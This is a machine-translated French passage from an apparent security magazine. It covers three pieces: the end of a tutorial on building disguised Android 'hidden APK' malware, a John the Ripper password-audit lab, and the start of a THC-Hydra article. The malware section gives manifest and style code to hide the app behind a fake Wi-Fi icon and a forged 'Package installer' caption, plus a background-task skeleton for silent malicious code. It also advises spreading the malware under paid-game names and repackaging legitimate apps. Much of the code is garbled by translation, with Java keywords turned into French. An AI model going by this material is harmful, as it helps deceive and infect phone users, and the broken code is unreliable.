android: targetActivity = ". WifiSettings"

android: name = ". N'importe quoi"

android: label = "@ string / wifi_settings_alias"

android: icon = "@ drawable / wifi_icon">

<filtre-intentionnel>

<action android: name = "android.intent.action.MAIN" />

<category android: name = "android.intent.category.LAUNCHER" />

</intent-filter>

</activity-alias>

</application>

</manifest>

Pour le moment, nous pouvons réexécuter l'application et, comme vous pouvez le voir sur la figure 16, notre icône d'origine a disparu et il y a une icône

Wi-Fi à sa place. Nous pensons que cette étape mérite des explications supplémentaires, car nous avons passé un certain temps à éditer l'icône du

programme pour qu'elle ressemble à un véritable «installateur de package» et que maintenant cette icône a disparu. N'ayez pas peur, ce n'était pas un

gaspillage d'efforts. Bien que notre fausse icône de 'Package installer' ne soit plus dans la liste des icônes, elle sera utilisée pour tromper les utilisateurs

pendant le processus d'installation. Il semble que le processus d'installation a été effectué par 'Package installer', (voir Fig. 23) mais ce n'est pas vrai. En

réalité, c'est notre icône et notre légende que nous avions préparées. Cela nous aide à camoufler nos logiciels malveillants sur l'appareil mobile de la

victime parce que nous ne le faisons pas. t besoin d'utiliser un titre attrayant tel que le nom d'un jeu payant (paramètre app_name) puis de le masquer

sur la liste des applications installées. Tout ce que nous avons à faire est de nommer notre fichier de logiciels malveillants APK avec le nom de certaines

des applications payantes les plus recherchées (par exemple NeedForSpeed.apk), puis d'utiliser certains canaux de distribution de logiciels malveillants.

140
APK caché

Figure 16 L'icône Wi-Fi a remplacé l'icône d'origine du programme d'installation du package

Remarque: Parfois, des erreurs de compilation peuvent survenir au cours de cette phase. La solution est très simple: désinstallez
notre application de l'appareil mobile, redémarrez-la puis effectuez une nouvelle installation via Android Studio 2.0. L'erreur doit
être corrigée par cette procédure.

Si nous cliquons sur l'icône newWi-Fi, l'activité WifiSettings sera affichée sur l'écran de l'appareil mobile comme on peut le voir sur la figure 17.

L'interface graphique est presque identique à l'interface graphique de MainActivity sur la figure 12, néanmoins, le texte sur l'application le bar est

différent. Cependant, l'activité WifiSettings est toujours visible et nous devons donc modifier … / Res / values / styles.xml

de la même manière que nous l'avons fait dans la section `` Développement d'un malware APK caché moderne basé sur BroadcastReceiver '':

<ressources>

<! - Thème de base de l'application. ->

<style name = "AppTheme" parent = "Theme.AppCompat.Light.DarkActionBar">

<! - Personnalisez votre thème ici. ->

<item name = "android: windowIsTranslucent"> true </item>

141
APK caché

<item name = "android: windowBackground"> @ android: color / transparent </item> <item

name = "android: windowContentOverlay"> @ null </item>

<item name = "android: windowNoTitle"> true </item>

<item name = "android: windowIsFloating"> true </item>

<item name = "android: backgroundDimEnabled"> false </item>

</style>

</resources>

Figure 17 GUI de l'activité WifiSettings

Maintenant, après avoir cliqué sur l'icône Wi-Fi, le titre de l'activité, avec le même texte que la légende de l'icône Wi-Fi, apparaîtra (voir

Figure 18).

142
APK caché

Figure 18 La valeur de wifi_settings_alias est visible

Comme nous pouvons le voir sur la figure 18, il est évident que le titre de l'activité WifiSettings est toujours visible et qu'il a une valeur de

wifi_settings_alias stockée dans le ... / res / values / strings.xml déposer. Dans le premier exemple de malware, cela n'avait pas

d'importance car nous avons masqué la barre de titre par: < string name = "app_name"> & # 160; </string> dans … / Res / values /

strings.xml déposer. Cette fois, nous devons faire un changement dans la … / Res / values / styles.xml fichier, rendant invisible le titre de

l'activité WifiSettings. Cela peut être fait en ajoutant cette ligne < nom de l'élément = "windowNoTitle"> true </item> au styles.xml.

Remarque: afin de clarifier les choses, la valeur de wifi_settings_alias a été modifiée de «Wi-Fi» à «Wi-Fi
Alias». Ce changement est uniquement à des fins de démonstration (Figure 18), ne le changez pas car nous
aurons besoin à la fois de wifi_settings_activity_name et wifi_settings_alias pour avoir la même valeur qui est
`` Wi-Fi '' dans le reste du didacticiel.

Le processus de camouflage est maintenant terminé, cependant, les utilisateurs s'attendent à ce qu'après avoir cliqué sur l'icône Wi-Fi, le

composant du système de paramètres Wi-Fi soit lancé. Implémentons le comportement de notre Activité afin de répondre aux attentes des

utilisateurs. Cela peut être réalisé en ajoutant la méthode onResume à l'activité WifiSettings:

@Passer outre

public void onResume ()

143
APK caché

super.onResume ();

startActivity (nouvelle intention (Settings.ACTION_WIFI_SETTINGS));

terminer();

Ce code garantit qu'après avoir cliqué sur l'icône Wi-Fi, le composant des paramètres Wi-Fi sera lancé comme illustré à la
Figure 19.

Figure 19 Paramètres Wi-Fi

La partie critique du code qui sécurise le comportement normal, c'est-à-dire discret, est d'appeler «finish» dans la méthode onResume. Si

'finish' n'est pas appelé, il y a un risque de boucle sans fin qui se produit chaque fois que le composant de paramètres Wi-Fi, lancé en

cliquant sur l'icône Wi-Fi, est affiché et que l'utilisateur clique sur le bouton Retour. Expliquons comment fonctionne une boucle sans fin.

Une fois que l'utilisateur a cliqué sur le bouton Retour, la méthode onReceive de notre malware est à nouveau appelée et le composant de

paramètres Wi-Fi réapparaît. L'utilisateur sera bloqué dans le composant des paramètres Wi-Fi. Naturellement, une fois les paramètres

Wi-Fi terminés, l'utilisateur veut quitter le composant, par conséquent, il clique sur le bouton Retour et le processus décrit se reproduira

encore et encore comme illustré à la figure 20. Veuillez vous assurer que l'appel «terminer» sera la dernière ligne de la méthode

onReceive.

144
Hiid
jjde
frn /AP K
a paquet

Figure 20 La boucle sans fin

Désormais, la coopération entre notre logiciel malveillant et le composant de paramètres Wi-Fi est normale et c'est pourquoi nous pouvons ajouter du

code malveillant. L'un des meilleurs moyens de le faire est probablement de créer une classe qui appartiendra exclusivement à WifiSettings Activity et ce

sera une instance d'AsyncTask. Cela garantira que toutes les actions des logiciels malveillants seront effectuées silencieusement en arrière-plan. Voici un

exemple d'un tel code:

la classe privée MalwareInBackground étend AsyncTask <String, Void, String> {

@Passer outre

protected String doInBackground (String ... params) {

essayer

// faire quelque chose de malveillant

145
APK caché

// mettez votre code malveillant de fond ici

catch (Exception e)

Log.d ("MMMM", "Erreur doInBackground:" + e.toString ());

return null;

@Passer outre

protected void onPostExecute (résultat de la chaîne) {

essayer

Toast.makeText (getApplicationContext (), "Un code malveillant a été exécuté.",

Toast.LENGTH_LONG) .show ();

catch (Exception e)

Log.d ("MMMM", "Erreur onPostExecute:" + e.toString ());

146
APK caché

Pour que nos logiciels malveillants fonctionnent correctement dans leur ensemble, nous devons placer toutes les actions malveillantes dans la méthode doInBackground

(partie principale de l'arrière-plan) et si nous devons influencer les éléments de l'interface utilisateur pour une raison quelconque, nous devons le faire à partir du

onPostExecute après la fin de la partie principale du code malveillant situé dans la méthode doInBackground. Dans notre cas, nous avons utilisé la

méthode onPostExecute uniquement pour afficher sans danger le texte «Le code du logiciel malveillant a été exécuté» (voir Figure 21).

Figure 21 Le code du malware a été exécuté

À ce stade, nous pouvons décrire le fonctionnement global de notre brouillon de logiciels malveillants. Ce malware inclut également des

procédures d'ingénierie sociale, car:

• nous avons créé l'icône Wi-Fi capable de lancer le composant de paramètres Wi-Fi directement contrairement à l'icône Paramètres

standard; il est plus confortable pour l'utilisateur car il enregistre des clics / clics supplémentaires.

• nous avons mis l'icône Wi-Fi sur la liste des icônes, ce n'est donc qu'une question de temps jusqu'à ce que l'utilisateur le remarque et essaie de

taper dessus. L'icône Wi-Fi peut également être placée sur l'écran d'accueil de l'appareil mobile de la victime.

Ces mesures peuvent conduire à l'état que chaque fois que l'utilisateur souhaite définir la connexion Wi-Fi, il cliquera sur
l'icône Wi-Fi car elle est plus rapide que la méthode standard. Une fois que l'utilisateur a cliqué sur l'icône, le composant de
paramètres Wi-Fi est lancé au premier plan et en même temps la classe MalwareInBackground (ses méthodes) est lancée en
arrière-plan. Le code malveillant commencera à atteindre ses objectifs malveillants. L'exécution du code des méthodes de
MalwareInBackground est implémentée via un thread séparé, ce qui permet au code malveillant de continuer son exécution
même si l'utilisateur clique sur les boutons Retour ou Accueil. L'utilisateur n'a aucune possibilité d'arrêter ce thread
d'arrière-plan. Le principe de l'opération du malware APK caché est décrit dans la figure 22.

147
APK caché

Figure 22 Le principe de notre fonctionnement du logiciel APK caché

Cette version de Hidden APK est très difficile à détecter par un logiciel antivirus car les utilisateurs lancent le malware par

eux-mêmes. Néanmoins, les experts en sécurité familiers avec le principe de l'APK caché décrit dans cette section peuvent

facilement le détecter en:

1. décompilation de l'application APK testée à l'aide d'APKTool

2. analyser le fichier AndroidManifest.xml et vérifier si AndroidManifest.xml inclut la balise activity-alias


et si cette balise inclut < catégorie android: name = "android.intent.category.LAUNCHER" /> Cette
isthes ymp t om thatthetestedapplicat ioncanbe H idden APK. L héparamètre android: targetActivity = ".
Paramètres Wifi" dira aux experts où se trouve le code de cette activité. Le code doit être vérifié pour tout
élément malveillant. Le contrôle est réalisé par:

2.1. transformation de l'APK testé en fichier JAR à l'aide de dex2jar

2.2. inspection du code Java du fichier JAR transformé à l'aide de JD-GUI

148
Figure 23 Le processus d'installation

Nous avons montré comment créer des logiciels malveillants et dans le prochain article, nous présenterons les moyens possibles de

distribuer les logiciels malveillants sur les appareils mobiles des victimes. Les APK cachés sont particulièrement adaptés à l'infection

d'applications APK payantes légitimes, telles que les jeux mobiles, divers lecteurs multimédias, etc. Cela peut être réalisé en décompilant

une application originale, en insérant l'APK caché dans le code décompilé et en le construisant dans un package APK contenant partie

légitime de l'application et de nos logiciels malveillants. Nous aimerions en traiter dans notre prochain article.

Les références:

[1] WEBER, HARRISON. Près de la moitié des utilisateurs de Facebook n'accèdent au service que sur mobile.
http://venturebeat.com/[online] . VentureBeat, 2015 [Consulté le 10 avril 2016]. Disponible depuis:
http://venturebeat.com/2015/07/29/nearly-half-of-facebooks-users-only-access-the-service-onmobile/

[2] Part de marché des systèmes d'exploitation des smartphones, T2 2015 [en ligne]. IDC [Consulté le: 01/04/2016]. Disponible depuis:

http://www.idc.com/prodserv/smartphone-os-market-share.jsp

[3] Principes fondamentaux de l'application. Android [en ligne]. Google, 2014 [consulté le 30 mars 2016].
Disponible depuis: http://developer.android.com/guide/components/fundamentals.html

[4] Gestion du cycle de vie des activités. Android [en ligne]. Google [Consulté le: 01/04/2016]. Disponible
depuis: http://developer.android.com/training/basics/activity-lifecycle/index.html

149
Mot de passe

Craquer
A PROPOS DE L'AUTEUR

Brahimi Zakaria
Spécialiste des risques informatiques

brahimi.zakaria@outlook.fr

Ayant toujours été passionné par la sécurité informatique, je l'ai choisie comme spécialité pour mes études

supérieures.

Je suis actuellement en charge des risques informatiques au sein de la filiale Société Générale Algérie où je suis

principalement en charge d'accompagner les métiers et l'informatique dans l'intégration de la Sécurité au sein de

leurs projets en apportant une expertise SSI (analyse des risques, plan de gestion des risques, contrôle de la mise en

place de mesures de sécurité, etc.) Mes domaines d'expertise:

• Audit de sécurité et tests de pénétration;

informatiques;
• analyse des risques

• Revue du code;

• Enquête numérique;

JE. Projets
Les projets réalisés au cours de ma carrière portent tous sur la sécurité informatique:

• Sécurisation d’une application Web vulnérable

• Réalisation d'un framework d'analyse automatisée des malwares

• Réalisation d'un outil de supervision du système de fichiers

II. Publication

Une classification évolutive des logiciels malveillants basée sur des fonctionnalités statiques et dynamiques intégrées

(https://link.springer.com/chapter/10.1007/978-3-319-51064-4_10)

III. Conférence

Connaissance du TOP 10 de l'OWASP

IV. Blog

Https://brahimizakaria.blogspot.com

V. Linkedin

Https://www.linkedin.com/in/zakaria-brahimi/
Cracker les mots de passe avec John The Ripper

introduction
Souvent, en informatique, il faut choisir un mot de passe pour sécuriser quelque chose ou pour s'identifier . F À partir de ce point, le

mal de tête commence à trouver un mot de passe dont vous vous souviendrez et qui est suffisamment compliqué pour être

sécurisé en même temps. C'est là qu'interviennent les outils de génération de mots de passe. Ces outils sont entièrement

paramétrables et produisent des mots de passe w ce qui les rend plus difficiles contre les tentatives de fissuration.

Manifestation
1. Installation et test du générateur de mots de passe 'PWGEN'

PWGEN est disponible sur la plupart des distributions GNU / Linux à partir des référentiels officiels. Sur un système d'exploitation Linux basé sur Debian,

vous pouvez l'installer facilement avec la commande suivante:

Sudo apt-get installer pwgen

La commande nécessite évidemment les droits du superutilisateur. Nous allons procéder comme suit:

Une utilisation de base de l'utilitaire pwgen serait de l'exécuter en tapant la commande pwgen sans aucune option comme suit:

154
Cracker les mots de passe avec John The Ripper

La commande renvoie 160 mots de passe composés de 8 caractères, dont des lettres, des majuscules, des minuscules et des chiffres.

Il est possible de personnaliser complètement les mots de passe à générer en donnant les options souhaitées au pwgen

commander. Pour ce faire, reportez-vous au manuel en tapant:

homme pwgen

2. Génération de mot de passe personnalisable avec l'outil 'PWGEN'

Reportez-vous à la sortie de commande suivante:

En se référant au manuel, la dernière commande est interprétée comme suit:

• Générez un seul mot de passe complètement aléatoire et difficile à retenir avec au moins un caractère spécial et
contenant 25 caractères. Cela correspond parfaitement au résultat renvoyé indiqué dans la figure ci-dessus.

• Reportez-vous au script Bash suivant ' change_pass.sh ':

155
Cracker les mots de passe avec John The Ripper

• Utilisons un autre fichier nommé " list_users " qui contient quelques noms d'utilisateur comme suit (un par ligne):

Nous allons maintenant exécuter le script précédent afin de voir son utilité. Nous

exécutons le script comme suit:

. /scriptname.sh

Il se peut que vous ne puissiez pas exécuter le script car il n'y a pas de droit d'exécution sur le fichier. C'est pourquoi vous devez d'abord exécuter

la commande suivante:

Chmod u + x nom de fichier

Maintenant, le script s'est bien exécuté.

À ce stade, si vous passez par le chemin où se trouve le script, vous remarquerez la création d'un nouveau fichier nommé
pass.maj et dont le contenu est le suivant:

156
Cracker les mots de passe avec John The Ripper

Intuitivement, le script est autorisé à générer un mot de passe pour chaque utilisateur mentionné dans le fichier list_users (une ligne pour chaque

utilisateur) et à enregistrer ces informations dans le fichier pass.maj. On peut remarquer l'utilisation d'une autre commande dans le script précédent, la

commande 'mail'. Parallèlement, celui-ci sera utilisé pour envoyer à chaque utilisateur mentionné dans le fichier list_users son nouveau mot de passe par

mail une fois modifié.

Si vous essayez de vous connecter à l'un des comptes, vous verrez que les anciens mots de passe ne sont plus opérationnels. En effet, le script a

également attribué des mots de passe générés aux utilisateurs concernés du système.

En reprenant le mot de passe attribué à l'utilisateur 'etudiant1' mentionné dans le fichier pass.maj, l'accès est alors accordé.

On peut toujours consulter la boîte aux lettres de l'utilisateur pour s'assurer du bon déroulement du travail attendu par le script. La commande pour accéder à la

boîte aux lettres d'un utilisateur depuis son terminal est:

poster

Bien sûr, si le service de messagerie n'est pas déjà installé, vous devriez envisager de le télécharger comme suit: sudo apt-get

installer mailutils

La boîte aux lettres de l'utilisateur étant censée ne contenir qu'un seul message (celui envoyé par le script), une seule ligne

correspondante doit être affichée. Ainsi, l'option de commande 'p' sera utilisée dans l'invite de la commande mail pour lister le

contenu de l'e-mail comme suit:

L'e-mail contient plusieurs informations sur l'origine du message ainsi que le nouveau mot de passe généré par le script
pour cet utilisateur.

157
Cracker les mots de passe avec John The Ripper

Pour augmenter la sécurité des mots de passe générés, on pourrait par exemple modifier le script afin de générer des mots de

passe aléatoires contenant au moins un caractère spécial et de longueur égale à 15 caractères.

Pour ce faire, nous devons simplement spécifier les options requises par la commande pwgen dans le script. Voici les modifications à

apporter (voir la ligne grise):

Après avoir exécuté le script et ouvert le fichier pass.maj encore une fois, on se rend compte que les mots de passe générés respectent

parfaitement les paramètres qui ont été donnés.

Enfin, nous pourrions utiliser le passwd commande au lieu de la chpasswd commande dans notre script. Cependant, il reste encore

quelques modifications à apporter pour y parvenir.

Nous prenons le dernier script et apportons les modifications nécessaires (voir les lignes grises):

158
Cracker les mots de passe avec John The Ripper

Ce processus est nécessaire car pour pouvoir utiliser la commande passwd à partir d'un script, il faudra l'invoquer
comme suit:

echo '' MOT DE PASSE \ n MOT DE PASSE '' | (Passwd USERNAME)

En effet, le mot de passe est indiqué deux fois de suite car la commande passwd nécessite la confirmation du mot de
passe saisi. Quant à la combinaison '\ n', elle est indispensable car c'est un retour chariot qui est censé séparer le mot de
passe saisi de sa confirmation.

Afin d'évaluer la robustesse des mots de passe générés, nous allons essayer de les casser avec un outil de craquage nommé John the

Ripper. Ce dernier est actuellement le logiciel de craquage de mot de passe le plus avancé, en termes d'algorithmes de cryptage pris en

charge, d'algorithmes de génération de mot de passe implémentés, ainsi que d'architectures de processeur prises en charge. Il a la

réputation d'être le briseur de mots de passe le plus flexible pour l'audit des mots de passe.

John a trois modes de fonctionnement qui sont:

1. Mode 1: unique (unique)

J ohn utilise les informations de connexion de l'utilisateur (nom, prénom, login, etc.) en appliquant les règles de transformation définies dans le fichier

john.conf. C'est le mode le plus rapide, il ne dure généralement que quelques secondes. Les mots de passe trouvés sont essayés sur toute la liste au cas

où deux utilisateurs auraient le même mot de passe.

2. Mode 2: liste de mots (dictionnaire)

159
Cracker les mots de passe avec John The Ripper

Les dictionnaires sont des fichiers texte contenant un mot (ou une phrase) par ligne. Il existe pour toutes les langues et tous les domaines d'activité. Les

utilisateurs de GNU / Linux ont généralement deux dictionnaires sur leur système (/ usr / share / dict), un en anglais et un dans la langue locale. Les

performances sont légèrement améliorées lorsque le fichier est trié par ordre alphabétique.

3. Mode 3: incrémental (incrémental brut)

Le mode incrémental essaie toutes les combinaisons de caractères dans une plage donnée (par exemple jusqu'à 8 caractères), à partir

d'un jeu de caractères défini (par exemple uniquement des lettres minuscules). Ce mode est très long; t n'est jamais achevé (ce qui peut

être estimé sur la base de fourchettes données sur plusieurs décennies). Afin d'améliorer son efficacité, John fonde ses tests sur des

tableaux de fréquence d'utilisation des caractères. Le mode incrémental est activé avec l'option -i (ou -incremental)

Voyons maintenant comment installer l'outil pour commencer à l'utiliser:

Pour obtenir l'outil, exécutez la commande suivante à partir du terminal racine:

apt-get install john

Une fois le téléchargement et l'installation terminés, le programme est prêt à être utilisé. Pour voir

comment cet utilitaire fonctionne, tapez John dans votre terminal.

Remarque: si vous rencontrez des messages d'erreur lors de l'exécution de john indiquant que des fichiers sont manquants

ou introuvables, procédez comme suit:

ln -s /etc/john/john.conf john.ini
cd / usr / share / john /
john fichier

Si aucun problème n'est rencontré, vous devez disposer de l'affichage suivant:

160
Cracker les mots de passe avec John The Ripper

Par ce moyen, la méthode d'utilisation et toutes les options offertes par ce programme sont obtenues.

Parmi les paramètres se trouve l'option format, qui permet de spécifier à john le type de hachage utilisé dans le mot de
passe chiffré que l'on dispose et dont on veut récupérer la valeur en clair.

Notez que john est capable de détecter le type de mot de passe, mais il peut y avoir des lacunes car les hachages peuvent être similaires pour

différents types de hachage. En effet, John ne craquera que les types de hash mentionnés,

ce qui n'est pas agréable car, dans notre cas, on essaierait de casser les mots de passe cryptés des utilisateurs du système (ceux que

l'utilitaire pwgen avait générés et qui ont été attribués aux différents utilisateurs) alors que le type de hachage utilisé n'est pas disponible

dans la liste soutenue par john. Il s'agit du type de hachage spécifié dans le fichier /etc/login.defs et utilisé par le dernier outil du système

de cryptage pour assurer le cryptage des mots de passe dans la suite shadow.

Le type en question est sha512crypt.

Cependant, il existe encore des versions alternatives de l'outil John the Ripper qui ont été implémentées par les communautés de

développeurs et offrent beaucoup plus d'options et une liste beaucoup plus large de types de hachage pris en charge. Une alternative

assez intéressante est celle proposée par la communauté jumbo et qui est également mentionnée sur le site officiel de John. Nous

prendrons la dernière version actuelle proposée par cette communauté, elle s'appelle: john-1.7.9-jumbo 7.tar.gz.

Cependant, l'installation de cette alternative diffère légèrement de celle du programme officiel. Pour en bénéficier, il
faut faire ce qui suit:

161
Cracker les mots de passe avec John The Ripper

Nous nous plaçons dans le fichier où nous voulons installer John the Ripper. Par exemple, nous allons le mettre dans / opter annuaire.

Nous passons au répertoire comme suit:

cd / opt

La version correspondante est téléchargée avec la commande wget suivie du lien du programme comme suit:

wget http://www.openwall.com/john/g/john-1.7.9-jumbo-7.tar.gz

Nous obtenons un fichier compressé dont le contenu doit être extrait avec la commande suivante:

Tar XVF john-1.7.9-jumbo-7.tar.gz

Cela se traduira par un dossier nommé john-1.7.9-jumbo-7, qui contient tous les fichiers nécessaires à l'installation.

Pour simplifier les choses, nous renommerons le dossier précédent en un nom plus court du genre:

MV John-1.7.9-Jumbo-7 JTR

Désormais, le fichier sera nommé jtr.

Nous nous mettons dans la voie suivante:

cd jtr / src

Ce dossier contient les différents binaires qui composent le programme. Nous devons les compiler pour générer l'exécutable de John.

Pour ce faire, utilisez le Fabriquer commander.

Vous devrez spécifier la version du noyau du système actuel. Dans notre cas c'est:

linux-x86-natif.

Remarque: Pour obtenir la liste des noyaux, tapez make sans paramètres.

La commande à exécuter dans notre cas est:

rendre propre linux-x86-natif

Une fois terminé, nous pouvons commencer à utiliser notre programme comme

suit: Nous passons au chemin suivant:

cd / opt / jtr / run

162
Cracker les mots de passe avec John The Ripper

Et nous exécutons le programme comme suit:

. /John

Remarque: les autorisations d'exécution sur ce fichier peuvent ne pas être accordées. Il suffira d'exécuter la commande ci-dessous pour lever cette

contrainte:

chmod u + x john

Nous avons déjà remarqué la liste additive des types de hachages pris en charge par cette version:

Parmi eux, on retrouve le type qui nous intéresse (voir la ligne grise) et sur lequel sont basés les mots de passe cryptés des utilisateurs

apparaissant dans le fichier / etc / shadow.

Nous commencerons par un scénario de cracking dans un cas trivial où le mot de passe aura la même valeur que le nom d'utilisateur.

En d'autres termes, voici la configuration actuelle (login: mot de passe) des différents utilisateurs:

Pour simplifier, nous essaierons de déchiffrer le mot de passe d'un seul utilisateur, l'utilisateur 'etudiant1', après avoir récupéré son hachage à partir du fichier /

etc / shadow et l'avoir sauvegardé dans un fichier qui sera nommé pass.

163
Cracker les mots de passe avec John The Ripper

John a pu l'écraser immédiatement avec l'utilisation de son module de crack unique qui lui permet de récupérer un mot de passe basé sur les

informations de l'utilisateur, y compris son identifiant.

Afin de voir le mot de passe en clair, voici la commande à exécuter:

. / john -show nom de fichier

Dans notre cas, ce sera:

. / john -show pass

Maintenant, nous allons tester l'efficacité des mots de passe générés de manière complètement aléatoire avec l'utilitaire pwgen. Le fait que les

mots de passe soient aléatoires est important car de cette manière ils seront totalement indépendants des noms d'utilisateur et ne constitueront

pas de simples mots du dictionnaire. Cependant, tout mot de passe peut toujours être craqué par la force brute (équivalent au mode incrémental

sous john). L'attaque "force brute" teste bêtement toutes les combinaisons de chiffres, de lettres et de caractères spéciaux jusqu'à ce que vous

trouviez le mot de passe que vous voulez. L'inconvénient de cette méthode est que le temps pour y arriver peut être long, voire très long. Cette

durée est déterminée à la fois par la complexité du mot de passe et par la puissance de la machine essayant de le trouver.

Afin d'attribuer les mots de passe générés par pwgen aux différents utilisateurs, nous exécuterons le script que nous avons déjà vu

nommé change_pass.sh avec une simple modification de la taille des mots de passe générés. Pour simplifier, nous allons essayer de

casser des mots de passe de quatre caractères alphabétiques uniquement. Voici la liste des utilisateurs considérés ainsi que le script

correspondant:

164
Cracker les mots de passe avec John The Ripper

Il convient de noter que plus le mot de passe est long, plus le processus de craquage prendra du temps. Sachez que le temps nécessaire

pour déchiffrer un mot de passe qui répond à tous les critères d'un bon mot de passe est vraiment énorme. On peut, par exemple,

atteindre des centaines de milliers d'années. De plus, ce n'est pas l'intérêt de ce travail pratique. Il s'agit plutôt de découvrir l'utilisation de

cet outil pour l'audit des mots de passe.

Le script est exécuté comme suit:

Désormais, chaque utilisateur de la liste précédente se voit attribuer un mot de passe aléatoire fourni par pwgen. La configuration actuelle du compte

utilisateur système est la suivante:

Par exemple, nous récupérerons le mot de passe de l'utilisateur etudiant2 à partir du fichier / etc / shadow et essayez de le casser avec john.

Pour que l'opération de craquage soit plus rapide, nous dirons à john que le mot de passe ne contient que des caractères alphabétiques

et nous spécifierons le type de hachage du mot de passe crypté comme suit:

165
Cracker les mots de passe avec John The Ripper

Au bout de 18 minutes, le mot de passe a été craqué et on retrouve le mot de passe clair correspondant à l'utilisateur étudiant

etudiant2. En fait, l'opération a été plus ou moins rapide car nous avons pris un mot de passe de seulement quatre caractères et il avait

été précisé à l'avance qu'il ne contenait que des caractères alphabétiques.

Si nous prenons la peine d'augmenter la taille du mot de passe généré, nous verrons que le programme prendra des heures et des heures

jusqu'à ce qu'il soit fatigué.

Cela dit, si nous reprenons le script que nous avons vu précédemment, celui que nous avons utilisé pour générer des mots de passe aléatoires, contenant au

moins un caractère spécial et de longueur égale à 15 caractères:

Et dont les mots de passe générés ressemblent à:

Nous ne pouvons pas déchiffrer de tels mots de passe dans un laps de temps raisonnable. On peut dire que ces mots de passe répondent à tous les

critères de bons mots de passe.

T L'étape la plus importante qu'un utilisateur peut prendre pour protéger son compte contre le piratage des mots de passe est de créer un mot de passe

vraiment hermétique.

Conclusion
Les mots de passe sont la principale méthode utilisée par Linux pour vérifier l'identité d'un utilisateur. Dans de telles circonstances, la

sécurité par mot de passe est très importante pour protéger l'utilisateur, le poste de travail et le réseau. Il ne faut pas oublier que le

meilleur mot de passe reste, et sera toujours, celui qui sort de votre tête, s'il répond aux normes de sécurité.

166
A PROPOS DE L'AUTEUR

SamVega
Sam travaille sur des ordinateurs depuis plus de 20 ans, mais est officiellement un

professionnel de l'informatique depuis 2008. Actuellement analyste technique principal

des systèmes pour un hôpital reconnu au niveau national travaillant en tant qu'ingénieur

de bureau principal. Il détient les certi fi cations aux normes actuelles de l'industrie telles

que ISACA, Microsoft, Apple, Oracle, CompTIA, Tenable, Offensive Security et

eLearnSecurity. Il aime écrire et faire de l'ingénierie inverse, analyser des logiciels

malveillants, exécuter des PoC et résoudre des problèmes complexes. Son état d'esprit

est défenseur le jour et attaquant la nuit. Cela fait donc de lui une partie de la Purple

Team de par sa conception et un amoureux de tout ce qui concerne l'infoec par nature.
Cracker de connexion réseau THC-Hydra

Cet article sera basé sur un «cracker de connexion réseau très rapide» cité sur tools.kali.org, d'où le titre de cet
article. La description de l'outil de la même page Web:

"Hydra est un pirate de connexion parallélisé qui prend en charge de nombreux protocoles d'attaque. Il est très rapide et flexible, et de nouveaux

modules sont faciles à ajouter. Cet outil permet aux chercheurs et aux consultants en sécurité de montrer à quel point il serait facile d'obtenir un

accès non autorisé. à un système à distance.

Il prend en charge: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP
(S) -GET, HTTP (S) -HEAD, HTTP- Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID,
PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT) , SMTP, SMTP Enum, SNMP v1 + v2
+ v3, SOCKS5, SSH (v1 et v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC et XMPP. "

Cet outil est déjà installé dans la version Kali 2016.2, ainsi que dans les versions précédentes de Kali. Vous trouverez l'outil sous Attaques

par mot de passe> Attaques en ligne. Ci-dessous, une capture d'écran de l'outil CLI "hydra" lorsqu'il est lancé via le menu Applications de

Kali ou via le terminal en tapant "hydra" ou "hydra -h".

169
Cracker de connexion réseau THC-Hydra

Il existe également une version GUI de l'outil. Il est situé dans le même sous-menu que Hydra mais la version GUI s'appelle " hydra-gtk ". Voir

la capture d'écran ci-dessous.

Autres méthodes pour accéder à l'aide pour Hydra:

170